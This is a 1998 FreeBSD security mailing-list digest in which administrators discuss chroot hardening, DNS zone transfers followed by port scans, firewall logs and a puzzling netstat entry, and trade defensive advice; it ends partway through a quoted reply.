From owner-freebsd-security Sun Jul 12 01:28:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA23115 for freebsd-security-outgoing; Sun, 12 Jul 1998 01:28:37 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from homeport.org (lighthouse.homeport.org [205.136.65.198]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA23106 for ; Sun, 12 Jul 1998 01:28:35 -0700 (PDT) (envelope-from adam@homeport.org) Received: (adam@localhost) by homeport.org (8.8.5/8.6.9) id DAA06281; Sun, 12 Jul 1998 03:35:08 -0400 (EDT) From: Adam Shostack Message-Id: <199807120735.DAA06281@homeport.org> Subject: Re: chroot() In-Reply-To: <2486.900138858@critter.freebsd.dk> from Poul-Henning Kamp at "Jul 11, 98 08:34:18 am" To: phk@critter.freebsd.dk (Poul-Henning Kamp) Date: Sun, 12 Jul 1998 03:35:07 -0400 (EDT) Cc: angelos@dsl.cis.upenn.edu, security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL27 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Poul-Henning Kamp wrote: | In message <199807110241.WAA21195@adk.gr>, "Angelos D. Keromytis" writes: | | >Keep in mind that it's trivial to escape from a root shell if you have | >root (or can do certain things). chroot() is unfortunately far from | >perfect. | | A FreeBSD user has paid me to strengthen the chroot() concept, and the code | will go into FreeBSD when he has had time to get his money back through | the use of it. Can you talk about what strengthening you've done? Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Jul 12 02:35:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA04234 for freebsd-security-outgoing; Sun, 12 Jul 1998 02:35:05 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.133.1] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA04221 for ; Sun, 12 Jul 1998 02:34:59 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.5) with ESMTP id LAA00358; Sun, 12 Jul 1998 11:32:27 +0200 (CEST) To: Adam Shostack cc: angelos@dsl.cis.upenn.edu, security@FreeBSD.ORG Subject: Re: chroot() In-reply-to: Your message of "Sun, 12 Jul 1998 03:35:07 EDT." <199807120735.DAA06281@homeport.org> Date: Sun, 12 Jul 1998 11:32:27 +0200 Message-ID: <356.900235947@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Poul-Henning Kamp wrote: >| In message <199807110241.WAA21195@adk.gr>, "Angelos D. Keromytis" writes: >| >| >Keep in mind that it's trivial to escape from a root shell if you have >| >root (or can do certain things). chroot() is unfortunately far from >| >perfect. >| >| A FreeBSD user has paid me to strengthen the chroot() concept, and the code >| will go into FreeBSD when he has had time to get his money back through >| the use of it. > >Can you talk about what strengthening you've done? You give them an IP# and their own root password, they can't fuck you over except for resource contention (filling disks, hogging cpu &c). -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." "ttyv0" -- What UNIX calls a $20K state-of-the-art, 3D, hi-res color terminal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Jul 12 08:27:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA04857 for freebsd-security-outgoing; Sun, 12 Jul 1998 08:27:53 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id IAA04850 for ; Sun, 12 Jul 1998 08:27:49 -0700 (PDT) (envelope-from sthaug@nethelp.no) From: sthaug@nethelp.no Received: (qmail 7455 invoked by uid 1001); 12 Jul 1998 15:27:45 +0000 (GMT) To: maillist@oaks.com.au Cc: freebsd-security@FreeBSD.ORG Subject: Re: DNS zone xfers from random(?) sites In-Reply-To: Your message of "Fri, 10 Jul 1998 21:59:07 +1000" References: <199807101158.VAA15030@mail.aussie.org> X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Sun, 12 Jul 1998 17:27:45 +0200 Message-ID: <7453.900257265@verdi.nethelp.no> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Basically, what seems to be random sites around the world (e.g. Israel, > Singapore, France) are downloading the zone file, even where they are not > secondaries to this domain. I am not seeing this pattern on other domains > (one or two of them perhaps, but not so many in such a short time). I do > not recognise the sites that are requesting the transfers. > > While I could of course block them from doing this I am curious as to > whether or not anyone can offer up any suggestion as to _why_ this may be > happening, and if there is any legitimate explanation for it. The domain > in question is for a local (Melbourne, Australia) FM radio station (which > is not even broadcasting at the moment) and I can hardly see it having any > interest to people in, say, France or Singapore. We've seen attacks that were directly correlated to zones files being transferred. Fetch one zone file with a lot of delegations (12000 or so), and then (a few minutes later) target all the name servers in this zone file with pop3/imap/portmap/whatever attacks. Additionally, attempt to fetch the zone files for all the delegated zones also, presumably to use for another attack. (That's when we turned off zone transfers. Now only select hosts are allowed to perform zone transfers from our name servers.) I don't like turning off zone transfers - they are valuable when you're trying to diagnose network related problems. But with the amount of attacks we saw that were directly correlated with zone transfers, we didn't have much choice... Steinar Haug, Nethelp consulting, sthaug@nethelp.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Jul 12 15:02:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA17363 for freebsd-security-outgoing; Sun, 12 Jul 1998 15:02:56 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from obie.softweyr.com ([204.68.178.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA17358 for ; Sun, 12 Jul 1998 15:02:52 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from obie.softweyr.com (zaphod.softweyr.com [204.68.178.35]) by obie.softweyr.com (8.8.8/8.8.8) with SMTP id PAA10573; Sun, 12 Jul 1998 15:59:50 -0600 (MDT) (envelope-from wes@softweyr.com) Date: Sun, 12 Jul 1998 15:59:50 -0600 (MDT) Message-Id: <199807122159.PAA10573@obie.softweyr.com> Subject: Re: RootRunner (admin GUI w/o security holes?) From: Wes Peters To: kgor@ksg.com, andrew@squiz.co.nz Cc: jehamby@manta.jpl.nasa.gov, 026809r@dragon.acadiau.ca, security@FreeBSD.ORG Reply-To: Wes Peters In-Reply-To: References: X-Priority: 3 (Normal) X-Mailer: BeatWare Mail-It 1.6 X-BeOS-Platform: Intel or clone Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id PAA17359 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org My hidden microphone recorded Andrew McNaughton (andrew@squiz.co.nz) saying: % I suspect the only way to get a uid = 0 backend and a uid != 0 frontend % is to run them as separate processes with some sort of communication % channel. It's certainly the only good way. It is important to secure the communication channel also; you'd be surprised what you can find in the clear snooping unix-domain sockets and the like. Contrary to what many will tell you, even a simple encryption or ENCODING method will dissuade most of your potential attackers; they'll go look for other "low-hanging fruit." If you make your standard communications channel a TCP socket, you're building in remote administration capabilities from the start. You have to pay attention to authentication and communication security, but you really need to do that anyhow, so why shy away from it at the start? -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.softweyr.com/~softweyr wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Jul 12 19:06:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA20629 for freebsd-security-outgoing; Sun, 12 Jul 1998 19:06:54 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.aussie.org (hallam.lnk.telstra.net [139.130.54.166]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA20613 for ; Sun, 12 Jul 1998 19:06:50 -0700 (PDT) (envelope-from maillist@oaks.com.au) Received: from bigbox (frankenputer.aussie.org [203.29.75.73]) by mail.aussie.org (8.9.0/8.9.0) with SMTP id MAA22491; Mon, 13 Jul 1998 12:05:19 +1000 (EST) Message-Id: <199807130205.MAA22491@mail.aussie.org> From: "Hallam Oaks P/L list account" To: "sthaug@nethelp.no" Cc: "freebsd-security@FreeBSD.ORG" Date: Mon, 13 Jul 1998 12:05:43 +1000 Reply-To: "Hallam Oaks P/L list account" X-Mailer: PMMail 98 Standard (2.01.1600) For Windows NT (4.0.1381;3) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Re: DNS zone xfers from random(?) sites Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >We've seen attacks that were directly correlated to zones files being >transferred. Fetch one zone file with a lot of delegations (12000 or so), >and then (a few minutes later) target all the name servers in this zone >file with pop3/imap/portmap/whatever attacks. Additionally, attempt to Hmmm ... this is interesting. Just a few days ago I saw this ... ipfw: 4110 Deny TCP 137.166.79.129:1852 139.130.xx.xxx:79 in via tun0 ipfw: 4110 Deny TCP 137.166.79.129:1852 139.130.xx.xxx:79 in via tun0 ipfw: 4110 Deny TCP 137.166.79.129:1858 139.130.xx.xxx:23 in via tun0 ipfw: 4110 Deny TCP 137.166.79.129:1858 139.130.xx.xxx:23 in via tun0 ipfw: 4110 Deny TCP 137.166.79.129:1865 139.130.xx.xxx:80 in via tun0 ipfw: 4110 Deny TCP 137.166.79.129:1865 139.130.xx.xxx:80 in via tun0 ipfw: 4110 Deny TCP 137.166.79.129:1878 139.130.xx.xxx:143 in via tun0 ipfw: 4110 Deny TCP 137.166.79.129:1878 139.130.xx.xxx:143 in via tun0 ipfw: 4110 Deny TCP 137.166.79.129:1896 139.130.xx.xxx:53 in via tun0 ipfw: 4110 Deny TCP 137.166.79.129:1896 139.130.xx.xxx:53 in via tun0 ipfw: 4110 Deny TCP 137.166.79.129:1904 139.130.xx.xxx:110 in via tun0 ipfw: 4110 Deny TCP 137.166.79.129:1904 139.130.xx.xxx:110 in via tun0 Exactly two of each. The total time between the first and last was no more than 40 seconds. Possibly generated by a program of some sort. No person outside our site has the authority to access our POP3, IMAP, or TELNET services. Does this pattern of port accesses seem familiar to anyone ? regards, -- Chris Hallam Oaks P/L To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Jul 12 20:50:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA02626 for freebsd-security-outgoing; Sun, 12 Jul 1998 20:50:36 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from inet.chipweb.ml.org (qmailr@c1003518-a.plstn1.sfba.home.com [24.1.82.47]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id UAA02618 for ; Sun, 12 Jul 1998 20:50:32 -0700 (PDT) (envelope-from ludwigp@bigfoot.com) Received: (qmail 18003 invoked from network); 13 Jul 1998 03:50:35 -0000 Received: from speedy.chipweb.ml.org (172.16.1.1) by inet.chipweb.ml.org with SMTP; 13 Jul 1998 03:50:35 -0000 Message-Id: <3.0.3.32.19980712205026.0077b070@mail.plstn1.sfba.home.com> X-Sender: ludwigp@mail.plstn1.sfba.home.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Sun, 12 Jul 1998 20:50:26 -0700 To: "Hallam Oaks P/L list account" , "sthaug@nethelp.no" From: Ludwig Pummer Subject: Re: DNS zone xfers from random(?) sites Cc: "freebsd-security@FreeBSD.ORG" In-Reply-To: <199807130205.MAA22491@mail.aussie.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 12:05 PM 7/13/98 +1000, Hallam Oaks P/L list account wrote: >ipfw: 4110 Deny TCP 137.166.79.129:1878 139.130.xx.xxx:143 in via tun0 >ipfw: 4110 Deny TCP 137.166.79.129:1878 139.130.xx.xxx:143 in via tun0 >ipfw: 4110 Deny TCP 137.166.79.129:1904 139.130.xx.xxx:110 in via tun0 >ipfw: 4110 Deny TCP 137.166.79.129:1904 139.130.xx.xxx:110 in via tun0 > >Exactly two of each. The total time between the first and last was no more >than 40 seconds. Possibly generated by a program of some sort. No person >outside our site has the authority to access our POP3, IMAP, or TELNET >services. > >Does this pattern of port accesses seem familiar to anyone ? Yup. I've got them in my log going back to early April. I'm only logging and denying POP3 and IMAP, though. And my port checks are separated by 3 seconds. --Ludwig Pummer ludwigp@bigfoot.com ICQ UIN: 692441 http://chipweb.home.ml.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Jul 13 01:31:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA29096 for freebsd-security-outgoing; Mon, 13 Jul 1998 01:31:02 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from oxmail.ox.ac.uk (oxmail1.ox.ac.uk [129.67.1.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA29088 for ; Mon, 13 Jul 1998 01:31:00 -0700 (PDT) (envelope-from neil.long@oucs.ox.ac.uk) Received: from ratbert.oucs.ox.ac.uk ([163.1.32.71]) by oxmail.ox.ac.uk with esmtp (Exim 1.90 #1) id 0yve0S-00065Q-00; Mon, 13 Jul 1998 09:30:44 +0100 Received: from neil by ratbert.oucs.ox.ac.uk with local (Exim 1.92 #1) id 0yve0N-0001Vj-00; Mon, 13 Jul 1998 09:30:39 +0100 From: "Neil Long" Message-Id: <980713093039.ZM5809@ratbert.oucs.ox.ac.uk> Date: Mon, 13 Jul 1998 09:30:39 +0100 In-Reply-To: Hallam Oaks P/L list account "DNS zone xfers from random(?) sites" (Jul 10, 9:59pm) References: <199807101158.VAA15030@mail.aussie.org> X-Mailer: Z-Mail (5.0.0 30July97) To: Hallam Oaks P/L list account , "freebsd-security@FreeBSD.ORG" Subject: Re: DNS zone xfers from random(?) sites MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- I would be willing to bet a beer that this is a direct consequence of the release of 'mscan' - check out www.rootshell.com or just about any exploit site. This nifty little tool is a pain in the ... and can be set to scan all hosts by country, etc - so the transfers are probably arisng when they scan .au and it goes and gets all the hosts by zone transfers (or other means). The tool will then scan for most of the current known holes by OS (determined primarily by the telnet banner content - hint!), we see lots of them. Attempts to use the results of the probes (it does not attack the weaknesses found) may then come from the same host doing the scan or some other one. I am a little surprised that CERT/CC haven't released a bulletin on this yet. Best advice I can offer is to get it and use it on your own domain to see what is 'on offer' and then change the default telnetd banner login which limits the impact of this particular tool - there are of course lots of other ways of getting the host OS on defualt setups. Regards Neil ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * Dr Neil J Long, Computing Services, University of Oxford * Banbury Road, Oxford, OX2 6NN, UK * Tel: +44 1865 273232 Fax: +44 1865 273275 * EMail: Neil.Long@computing-services.oxford.ac.uk -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBNanFpqNsRd57vOpJAQF82gQA5QAJuwyjwQSPOtk2aj5bahCZDvC6YnOF JIYB5B3xh4TuWFs86hc/HHtUP4N7Ly6Swt3T2jr0M+dKgb43uiH1a8seuw38CSTI Jeuv2219Ij/jVb+mx3eSyv9uadmum1sqg4NkoYUBonOiVwFxlyh/Xya+GniyXaeq nB2GGZM+H+8= =ANcz -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Jul 13 05:26:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA22737 for freebsd-security-outgoing; Mon, 13 Jul 1998 05:26:07 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from access.sanet.ge (access.sanet.ge [208.239.39.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA22707 for ; Mon, 13 Jul 1998 05:25:59 -0700 (PDT) (envelope-from stealth@sanet.ge) Received: from localhost (stealth@localhost) by access.sanet.ge (8.8.8/8.8.7) with SMTP id QAA06958 for ; Mon, 13 Jul 1998 16:24:06 +0500 (GET) (envelope-from stealth@sanet.ge) X-Authentication-Warning: access.sanet.ge: stealth owned process doing -bs Date: Mon, 13 Jul 1998 16:24:06 +0500 (GET) From: Alexander Kandelaki To: freebsd-security@FreeBSD.ORG Subject: Question... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi all! Once I run netstat and received : tcp 0 0 access.pop3 ppp170-tc3.1658 TIME_WAIT tcp 0 87 access.smtp egeo.unipg.it.4930 ESTABLISHED tcp 0 169 access.smtp ARMINCO.COM.51685 ESTABLISHED tcp 0 0 access.3314 192.168.1.2.smtp SYN_SENT ^^^^^^^^^^^^^^^^ tcp 0 0 access.smtp interfuture.com.3509 TIME_WAIT I haven't any proxy server installed on my system or something look like it. Strange why in my system i see this IP ? What is it ? Thanks Sincerely yours, Alexander Kandelaki To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Jul 13 10:54:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA04732 for freebsd-security-outgoing; Mon, 13 Jul 1998 10:54:17 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from inet.chipweb.ml.org (qmailr@c1003518-a.plstn1.sfba.home.com [24.1.82.47]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA04722 for ; Mon, 13 Jul 1998 10:54:15 -0700 (PDT) (envelope-from ludwigp@bigfoot.com) Received: (qmail 20467 invoked from network); 13 Jul 1998 17:54:19 -0000 Received: from speedy.chipweb.ml.org (172.16.1.1) by inet.chipweb.ml.org with SMTP; 13 Jul 1998 17:54:19 -0000 Message-Id: <3.0.3.32.19980713104816.03203d78@mail.plstn1.sfba.home.com> X-Sender: ludwigp@mail.plstn1.sfba.home.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Mon, 13 Jul 1998 10:48:16 -0700 To: Alexander Kandelaki , freebsd-security@FreeBSD.ORG From: Ludwig Pummer Subject: Re: Question... In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 04:24 PM 7/13/98 +0500, Alexander Kandelaki wrote: > >Hi all! > >Once I run netstat and received : > >tcp 0 0 access.pop3 ppp170-tc3.1658 TIME_WAIT >tcp 0 87 access.smtp egeo.unipg.it.4930 ESTABLISHED >tcp 0 169 access.smtp ARMINCO.COM.51685 ESTABLISHED >tcp 0 0 access.3314 192.168.1.2.smtp SYN_SENT > ^^^^^^^^^^^^^^^^ >tcp 0 0 access.smtp interfuture.com.3509 TIME_WAIT > >I haven't any proxy server installed on my system or something look like >it. Strange why in my system i see this IP ? What is it ? My guess is someone either a) has an incorrectly set firewall/proxy gateway system or b) is trying to hack/break your machine My guess is that it's b), since people who try to hack/break your machine try to hide who they are by spoofing their IP. --Ludwig Pummer ludwigp@bigfoot.com ICQ UIN: 692441 http://chipweb.home.ml.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Jul 13 16:41:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA06005 for freebsd-security-outgoing; Mon, 13 Jul 1998 16:41:23 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from goliath.camtech.net.au (goliath.camtech.net.au [203.5.73.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA05994 for ; Mon, 13 Jul 1998 16:41:20 -0700 (PDT) (envelope-from newton@camtech.com.au) Received: from sebastion.sa.camtech.com.au (sebastion.sa.camtech.com.au [203.28.3.2]) by goliath.camtech.net.au (8.8.5/8.8.2) with ESMTP id JAA29359; Tue, 14 Jul 1998 09:10:41 +0930 (CST) Received: (from smtp@localhost) by sebastion.sa.camtech.com.au (8.8.5/8.8.7) id JAA20894; Tue, 14 Jul 1998 09:10:42 +0930 (CST) Received: from slingshot(192.168.1.2) by sebastion via smap (V2.0) id xma020884; Tue, 14 Jul 98 09:10:15 +0930 Received: from frenzy.ct (newton@frenzy.ct [192.168.4.65]) by slingshot.camtech.com.au (8.6.12/8.6.12) with ESMTP id JAA07415; Tue, 14 Jul 1998 09:10:11 +0930 From: Mark Newton Received: (from newton@localhost) by frenzy.ct (8.8.8/8.8.8) id JAA21739; Tue, 14 Jul 1998 09:10:10 +0930 (CST) Message-Id: <199807132340.JAA21739@frenzy.ct> Subject: Re: Question... In-Reply-To: <3.0.3.32.19980713104816.03203d78@mail.plstn1.sfba.home.com> from Ludwig Pummer at "Jul 13, 98 10:48:16 am" To: ludwigp@bigfoot.com (Ludwig Pummer) Date: Tue, 14 Jul 1998 09:10:10 +0930 (CST) Cc: stealth@sanet.ge, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ludwig Pummer wrote: > >tcp 0 0 access.pop3 ppp170-tc3.1658 TIME_WAIT > >tcp 0 87 access.smtp egeo.unipg.it.4930 ESTABLISHED > >tcp 0 169 access.smtp ARMINCO.COM.51685 ESTABLISHED > >tcp 0 0 access.3314 192.168.1.2.smtp SYN_SENT > > ^^^^^^^^^^^^^^^^ > >tcp 0 0 access.smtp interfuture.com.3509 TIME_WAIT > > > >I haven't any proxy server installed on my system or something look like > >it. Strange why in my system i see this IP ? What is it ? > > My guess is someone either a) has an incorrectly set firewall/proxy gateway > system or b) is trying to hack/break your machine That's a bit extreme: His machine is making an *outbound* SMTP connection to a host that doesn't appear to be answering. Could it be that someone has simply misaddressed some email? Use the "mailq" (or "sendmail -bp") command to see what's stuck in your mail queue. - mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Jul 13 16:58:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA09703 for freebsd-security-outgoing; Mon, 13 Jul 1998 16:58:43 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (root@COPLAND.CODA.CS.CMU.EDU [128.2.222.48]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA09698 for ; Mon, 13 Jul 1998 16:58:41 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id TAA08367; Mon, 13 Jul 1998 19:58:20 -0400 (EDT) Date: Mon, 13 Jul 1998 19:58:20 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Ludwig Pummer cc: Alexander Kandelaki , freebsd-security@FreeBSD.ORG Subject: Re: Question... In-Reply-To: <3.0.3.32.19980713104816.03203d78@mail.plstn1.sfba.home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 13 Jul 1998, Ludwig Pummer wrote: > My guess is someone either a) has an incorrectly set firewall/proxy gateway > system or b) is trying to hack/break your machine > My guess is that it's b), since people who try to hack/break your machine > try to hide who they are by spoofing their IP. I have a number of machines attached to a private network with a reserved address range in use -- I have ipfw set up to reject packets from that address range coming from the exposed interfaces on the big bad internet. I often see ipfw accounting entries from rejected packets that are addressed to or from the reserved address range on the outside interfaces. I've never caught any in a sniffer, but then, I have never tried. I suggest everyone verify their ipfw/border router filters to make sure they are rejecting appropriate ranges of addresses! Robert N Watson Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org http://www.watson.org/~robert/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Jul 13 17:17:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA14258 for freebsd-security-outgoing; Mon, 13 Jul 1998 17:17:52 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from kjsl.com (Limpia.KJSL.COM [198.137.202.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA14249 for ; Mon, 13 Jul 1998 17:17:48 -0700 (PDT) (envelope-from javier@kjsl.com) Received: (from javier@localhost) by kjsl.com (8.8.5/8.8.5) id RAA19640; Mon, 13 Jul 1998 17:17:28 -0700 (PDT) Date: Mon, 13 Jul 1998 17:17:28 -0700 (PDT) Message-Id: <199807140017.RAA19640@kjsl.com> From: Javier Henderson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Mark Newton Cc: ludwigp@bigfoot.com (Ludwig Pummer), stealth@sanet.ge, freebsd-security@FreeBSD.ORG Subject: Re: Question... In-Reply-To: <199807132340.JAA21739@frenzy.ct> References: <3.0.3.32.19980713104816.03203d78@mail.plstn1.sfba.home.com> <199807132340.JAA21739@frenzy.ct> X-Mailer: VM 6.33 under Emacs 19.34.1 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mark Newton writes: > Ludwig Pummer wrote: > > > >tcp 0 0 access.pop3 ppp170-tc3.1658 TIME_WAIT > > >tcp 0 87 access.smtp egeo.unipg.it.4930 ESTABLISHED > > >tcp 0 169 access.smtp ARMINCO.COM.51685 ESTABLISHED > > >tcp 0 0 access.3314 192.168.1.2.smtp SYN_SENT > > > ^^^^^^^^^^^^^^^^ > > >tcp 0 0 access.smtp interfuture.com.3509 TIME_WAIT > > > > > >I haven't any proxy server installed on my system or something look like > > >it. Strange why in my system i see this IP ? What is it ? > > > > My guess is someone either a) has an incorrectly set firewall/proxy gateway > > system or b) is trying to hack/break your machine > > That's a bit extreme: His machine is making an *outbound* SMTP connection > to a host that doesn't appear to be answering. Could it be that someone > has simply misaddressed some email? > > Use the "mailq" (or "sendmail -bp") command to see what's stuck in > your mail queue. It could be that someone's mail host does translate to that non-Internet-routable address. Perhaps said host's admin thought he's supposed to list the IP address of his Ethernet (or PPP or whatever) interface in the DNS, as opposed to the pre-translation one given to him by his ISP. -jav To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Mon Jul 13 19:47:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA04300 for freebsd-security-outgoing; Mon, 13 Jul 1998 19:47:23 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from infowest.com (infowest.com [204.17.177.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA04295 for ; Mon, 13 Jul 1998 19:47:20 -0700 (PDT) (envelope-from agifford@infowest.com) Received: from infowest.com (eq.net [207.49.60.250]) by infowest.com (8.8.8/8.8.8) with ESMTP id UAA25354 for ; Mon, 13 Jul 1998 20:46:44 -0600 (MDT) Message-ID: <35AAC689.8488381@infowest.com> Date: Mon, 13 Jul 1998 20:46:33 -0600 From: "Aaron D. Gifford" X-Mailer: Mozilla 4.05 [en] (X11; U; FreeBSD 2.2.6-STABLE i386) MIME-Version: 1.0 To: security@FreeBSD.ORG Subject: Re: Question... References: <3.0.3.32.19980713104816.03203d78@mail.plstn1.sfba.home.com> <199807132340.JAA21739@frenzy.ct> <199807140017.RAA19640@kjsl.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Mark Newton writes: > > Ludwig Pummer wrote: > > > > > >tcp 0 0 access.pop3 ppp170-tc3.1658 TIME_WAIT > > > >tcp 0 87 access.smtp egeo.unipg.it.4930 ESTABLISHED > > > >tcp 0 169 access.smtp ARMINCO.COM.51685 ESTABLISHED > > > >tcp 0 0 access.3314 192.168.1.2.smtp SYN_SENT > > > > ^^^^^^^^^^^^^^^^ > > > >tcp 0 0 access.smtp interfuture.com.3509 TIME_WAIT > > > > > > > >I haven't any proxy server installed on my system or something look like > > > >it. Strange why in my system i see this IP ? What is it ? > > > > > > My guess is someone either a) has an incorrectly set firewall/proxy gateway > > > 